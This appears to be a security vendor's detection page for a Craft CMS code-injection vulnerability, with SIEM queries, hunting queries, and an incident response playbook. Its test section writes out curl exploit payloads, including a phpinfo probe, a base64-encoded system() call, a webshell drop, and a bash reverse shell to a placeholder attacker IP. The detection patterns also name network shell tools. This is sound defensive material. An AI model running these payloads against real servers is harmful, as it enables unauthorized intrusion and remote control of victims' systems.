CVE-2025-32432 Sumo Logic CSE · Sumo

Detect CVE-2025-32432: Craft CMS Remote Code Injection in Sumo Logic CSE

Detects exploitation of CVE-2025-32432, a critical code injection vulnerability (CWE-94) in Craft CMS that allows remote attackers to execute arbitrary code. This vulnerability is actively exploited in the wild (CISA KEV) and targets Craft CMS installations via malicious template or input injection vectors.

MITRE ATT&CK

Tactic
Initial Access Execution Persistence

Sumo Detection Query

Sumo Logic CSE (Sumo)
sql 
_sourceCategory=web/access OR _sourceCategory=waf OR _sourceCategory=proxy
| where (_raw matches /\/actions\/|\/admin\/|\/index\.php/ and _raw matches /POST/)
| where _raw matches /phpinfo|base64_decode|eval\(|system\(|exec\(|assert\(|passthru\(|shell_exec\(/
| parse regex "(?<src_ip>\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})" 
| parse regex "\"(?<http_method>GET|POST|PUT|DELETE|PATCH|HEAD|OPTIONS) (?<uri_path>[^ ]+)"
| parse regex "HTTP\/[\\d\.]+\" (?<status_code>\\d{3})"
| count by src_ip, uri_path, status_code
| where _count > 0
| sort by _count desc
| fields src_ip, uri_path, status_code, _count
| rename _count as request_count
critical severity medium confidence

Sumo Logic query detecting HTTP POST requests to Craft CMS action and admin endpoints containing PHP code injection payloads indicative of CVE-2025-32432 exploitation.

Data Sources

Web Access LogsWAF LogsProxy Logs

Required Tables

web/accesswafproxy

False Positives & Tuning

  • Automated security scanners such as Nuclei or Burp Suite running CVE-2025-32432 checks
  • Internal developer tools that POST template data containing PHP-like syntax to Craft CMS
  • Log aggregation pipelines that include raw exploit payload samples as part of threat intel ingestion

Other platforms for CVE-2025-32432

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1CVE-2025-32432 PHP Info Probe via Craft CMS Action Endpoint

    Expected signal: HTTP POST to /actions/test with 'phpinfo()' in request body; web server access log entry; potential 200 response with PHP environment disclosure

  2. Test 2CVE-2025-32432 Base64-Encoded Command Injection

    Expected signal: HTTP POST to /actions/users/login with 'base64_decode' in POST body; web server log capturing encoded payload; potential process spawn of 'id' command from php parent

  3. Test 3CVE-2025-32432 Webshell Drop via File Write Injection

    Expected signal: POST to /actions/ with file_put_contents payload; new file 'shell.php' created in web root with anomalous timestamp; subsequent GET to /shell.php with cmd parameter; process execution of 'id' spawned from PHP

  4. Test 4CVE-2025-32432 Reverse Shell Payload Simulation

    Expected signal: HTTP POST to Craft CMS action endpoint with bash reverse shell command in body; outbound TCP connection from web server to attacker IP on port 4444; process tree showing bash spawned from php parent; network flow anomaly for web server initiating outbound connection

Last updated: 2026-06-19 Research depth: standard
References (3)

Response Playbook

Triage

  1. Identify the source IP of the POST request and correlate it against threat intelligence feeds for known malicious actors, Tor exit nodes, or scanning infrastructure.
  2. Review the full HTTP request including headers, URI path, query string, and POST body to determine the injected payload and its intended effect (e.g., phpinfo probe vs. reverse shell vs. webshell drop).
  3. Check the HTTP response code: a 200 response to a code injection POST strongly indicates successful exploitation; 500 may indicate partial success or error-based disclosure.
  4. Identify the Craft CMS version on the targeted host and confirm whether it falls within the affected version range per the vendor advisory at https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432.

Containment

  1. If exploitation is confirmed or strongly suspected, isolate the affected web server from the network immediately to prevent lateral movement, C2 beacon establishment, or data exfiltration.
  2. Block the source IP(s) at the perimeter WAF/firewall and create a temporary deny rule scoped to Craft CMS action endpoints (/actions/, /admin/) for all external traffic pending patch deployment.

Evidence Collection

  1. Preserve full web server access logs (IIS, Apache, or Nginx) from at least 72 hours prior to the first detected event, capturing raw request bodies where available.
  2. Collect a filesystem snapshot of the Craft CMS installation directory (especially /templates/, /web/, /storage/, and plugin directories) to identify dropped webshells, modified templates, or new files.
  3. Capture running process list, network connections, and scheduled tasks/cron jobs from the affected host at time of isolation.

Escalation Criteria

  • !Escalate to incident response if any web server child process (sh, bash, python, curl, wget) is observed after the injection event, indicating successful remote code execution.
  • !Escalate immediately if outbound connections are observed from the web server to external IPs on non-standard ports, or if a webshell file is discovered in any publicly accessible directory.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Web server access logs showing POST to /actions/ or /admin/ endpoints with PHP function names in query or body
  • >Craft CMS /storage/logs/ directory for application-level error logs revealing injection context
  • >Filesystem timestamps on /web/, /templates/, and plugin directories for newly created or modified .php files
  • >OS-level process accounting (auditd, Windows Event ID 4688) for child processes spawned by php or php-fpm
  • >Network flow records showing outbound connections from the web server host post-exploitation

Tuning Guidance

Start by allowlisting known Craft CMS health check and monitoring endpoints that generate legitimate POST traffic to /actions/. Reduce false positives from scanners by correlating with threat intel IP reputation feeds and excluding IPs from known security vendors. If Craft CMS runs behind a WAF, consider pivoting detection to WAF block/alert events tagged with CVE-2025-32432 signatures rather than raw HTTP logs. Adjust the process ancestry detection to exclude known-good Craft CMS CLI operations (queue workers, migrations) by filtering on specific CommandLine patterns such as 'craft queue/run' or 'craft migrate'.

Hunting Queries

Hunt for repeated successful POST requests to Craft CMS action and admin endpoints from the same source IP over the past 7 days, which may indicate automated exploitation or iterative payload testing.

Hunting — KQL
kql 
W3CIISLog
| where TimeGenerated > ago(7d)
| where csUriStem has_any ("/actions/", "/admin/")
| where csMethod == "POST"
| where scStatus == 200
| summarize count() by csClientIP = cIP, csUriStem, bin(TimeGenerated, 1h)
| where count_ > 5
| order by count_ desc
Hunting — SPL
spl 
index=web sourcetype=iis method=POST (uri_path="*/actions/*" OR uri_path="*/admin/*") status=200
| bin _time span=1h
| stats count by src_ip, uri_path, _time
| where count > 5
| sort -count

Hunt for shell or utility processes spawned by web server or PHP parent processes on hosts running Craft CMS, which indicates successful code execution following CVE-2025-32432 exploitation.

Hunting — KQL
kql 
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where InitiatingProcessFileName in~ ("php", "php-fpm", "php8.1", "php8.2", "httpd", "apache2", "nginx")
| where FileName in~ ("sh", "bash", "dash", "python", "python3", "curl", "wget", "nc", "perl", "ruby")
| project TimeGenerated, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine, InitiatingProcessCommandLine
| order by TimeGenerated desc
Hunting — SPL
spl 
index=endpoint sourcetype=crowdstrike:events:sensor event_type=ProcessRollup2
| where ParentBaseFileName IN ("php", "php-fpm", "apache2", "httpd", "nginx")
| where FileName IN ("sh", "bash", "python3", "curl", "wget", "nc")
| table _time, ComputerName, ParentBaseFileName, FileName, CommandLine
| sort -_time

Atomic Red Team Tests

Test 1 CVE-2025-32432 PHP Info Probe via Craft CMS Action Endpoint
linux

Simulates the initial reconnaissance phase of CVE-2025-32432 exploitation by sending a POST request containing a phpinfo() payload to a Craft CMS action endpoint to confirm PHP execution.

Command

bash 
curl -s -X POST 'http://TARGET_HOST/actions/test' -H 'Content-Type: application/x-www-form-urlencoded' --data 'payload=phpinfo()&siteToken=TEST' -o /tmp/craft_probe_response.html && grep -i 'PHP Version' /tmp/craft_probe_response.html

Cleanup

bash 
rm -f /tmp/craft_probe_response.html

Expected Telemetry

HTTP POST to /actions/test with 'phpinfo()' in request body; web server access log entry; potential 200 response with PHP environment disclosure

Expected Detection

kql/spl/chronicle rules trigger on POST to /actions/ endpoint containing 'phpinfo' string

Test 2 CVE-2025-32432 Base64-Encoded Command Injection
linux

Simulates an attacker using base64-encoded payloads to bypass naive string matching filters while exploiting CVE-2025-32432 code injection in Craft CMS.

Command

bash 
PAYLOAD=$(echo -n 'system(id);' | base64) && curl -s -X POST 'http://TARGET_HOST/actions/users/login' -H 'Content-Type: application/x-www-form-urlencoded' --data "loginName=admin&password=test&payload=base64_decode('${PAYLOAD}')" -D /tmp/craft_b64_headers.txt -o /tmp/craft_b64_response.html

Cleanup

bash 
rm -f /tmp/craft_b64_headers.txt /tmp/craft_b64_response.html

Expected Telemetry

HTTP POST to /actions/users/login with 'base64_decode' in POST body; web server log capturing encoded payload; potential process spawn of 'id' command from php parent

Expected Detection

kql/spl rules trigger on 'base64_decode' in POST body; crowdstrike_cql triggers if 'id' or 'sh' spawned from php parent process

Test 3 CVE-2025-32432 Webshell Drop via File Write Injection
linux

Simulates post-exploitation persistence by injecting a PHP payload that writes a webshell to the Craft CMS web root, representative of attacker behavior following successful CVE-2025-32432 exploitation.

Command

bash 
curl -s -X POST 'http://TARGET_HOST/actions/app/test' -H 'Content-Type: application/x-www-form-urlencoded' --data 'payload=file_put_contents("/var/www/html/web/shell.php","<?php system($_GET[cmd]); ?>")&csrf=TESTTOKEN' -o /tmp/craft_shell_response.html && curl -s 'http://TARGET_HOST/shell.php?cmd=id' -o /tmp/craft_shell_exec.html && cat /tmp/craft_shell_exec.html

Cleanup

bash 
rm -f /tmp/craft_shell_response.html /tmp/craft_shell_exec.html; curl -s -X DELETE 'http://TARGET_HOST/shell.php' || rm -f /var/www/html/web/shell.php

Expected Telemetry

POST to /actions/ with file_put_contents payload; new file 'shell.php' created in web root with anomalous timestamp; subsequent GET to /shell.php with cmd parameter; process execution of 'id' spawned from PHP

Expected Detection

Process ancestry detection triggers on 'id' or 'sh' spawned from php/apache; filesystem monitoring alerts on new .php file in /web/; web log detection triggers on file_put_contents in POST body

Test 4 CVE-2025-32432 Reverse Shell Payload Simulation
linux

Simulates an attacker using CVE-2025-32432 to establish a reverse shell from the Craft CMS server back to attacker infrastructure. Run in isolated lab with listener on attacker machine.

Command

bash 
ATTACKER_IP=10.0.0.99 && ATTACKER_PORT=4444 && curl -s -X POST 'http://TARGET_HOST/actions/app/health-check' -H 'Content-Type: application/x-www-form-urlencoded' --data "payload=system('bash -c \"bash -i >& /dev/tcp/${ATTACKER_IP}/${ATTACKER_PORT} 0>&1\"')&token=test"

Cleanup

bash 
Kill any bash processes spawned on target; close netcat listener on attacker machine

Expected Telemetry

HTTP POST to Craft CMS action endpoint with bash reverse shell command in body; outbound TCP connection from web server to attacker IP on port 4444; process tree showing bash spawned from php parent; network flow anomaly for web server initiating outbound connection

Expected Detection

crowdstrike_cql and elastic_eql sequence rules trigger on bash spawned from php parent; network monitoring alerts on outbound connection from web server on non-standard port

Related Detections

Tactic Hubs

TA0001Initial AccessTA0002ExecutionTA0003Persistence

Related Techniques

T1190Exploit Public-Facing ApplicationT1059Command and Scripting InterpreterT1505.003Web Shell

Same Tactic: Initial Access

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